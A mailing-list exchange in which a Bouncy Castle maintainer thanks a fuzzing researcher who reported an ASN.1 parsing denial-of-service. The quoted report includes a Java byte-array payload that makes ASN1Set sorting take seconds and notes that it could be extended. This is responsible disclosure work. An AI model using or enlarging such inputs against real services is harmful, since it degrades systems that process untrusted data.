Re: ASN1 parsing denial-of-service

Thanks for the report, yes, this has all the hallmarks of something
which could easily turn into a bigger problem.

I think I have identified the issue that is causing this. I'll get
161b03 up on https://www.bouncycastle.org/betas as soon as we think
we've fixed it. In the meanwhile, keep working on the fuzzer! Things
like this really help.

Regards,

David

On 16/07/18 00:58, Guido Vranken wrote:
> Dear list,
>
> The following code takes about 2-3 seconds to process.
>
>             byte[] data = {
>                 (byte)0xff, (byte)0xbf, (byte)0x30, (byte)0x80,
>                 (byte)0x28, (byte)0x80, (byte)0xa2, (byte)0x80,
>                 (byte)0x31, (byte)0x80, (byte)0xa4, (byte)0x00,
>                 (byte)0x31, (byte)0x80, (byte)0xac, (byte)0x00,
>                 (byte)0x31, (byte)0x80, (byte)0xb3, (byte)0x00,
>                 (byte)0xb3, (byte)0x00, (byte)0x31, (byte)0x80,
>                 (byte)0x8f, (byte)0x00, (byte)0xb3, (byte)0x00,
>                 (byte)0x31, (byte)0x80, (byte)0xaf, (byte)0x00,
>                 (byte)0x31, (byte)0x80, (byte)0x82, (byte)0x01,
>                 (byte)0x80, (byte)0xac, (byte)0x00, (byte)0x31,
>                 (byte)0x80, (byte)0xb3, (byte)0x00, (byte)0xb3,
>                 (byte)0x00, (byte)0xc6, (byte)0x00, (byte)0x31,
>                 (byte)0x80, (byte)0xaf, (byte)0x00, (byte)0x31,
>                 (byte)0x80, (byte)0x82, (byte)0x01, (byte)0x2b,
>                 (byte)0x82, (byte)0x02, (byte)0xf3, (byte)0x28,
>                 (byte)0xb5, (byte)0x00, (byte)0x31, (byte)0x80,
>                 (byte)0xaf, (byte)0x00, (byte)0x9a, (byte)0x01,
>                 (byte)0x00, (byte)0x93, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0xcb,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
>                 (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00
>             };
>             ASN1InputStream asn1 = new ASN1InputStream(data);
>             ASN1Primitive result = asn1.readObject();
>
> A lot of cycles are spent in ASN1Set sort(). This payload can possibly
> be modified to reach an execution duration of much more than 2
> seconds. This could be viewed as a security problem in any application
> that consumes and processes untrusted ASN1 data.
>
> This was found with my Java fuzzer [1].
>
> Guido
>
> [1] https://github.com/guidovranken/libfuzzer-java
>
>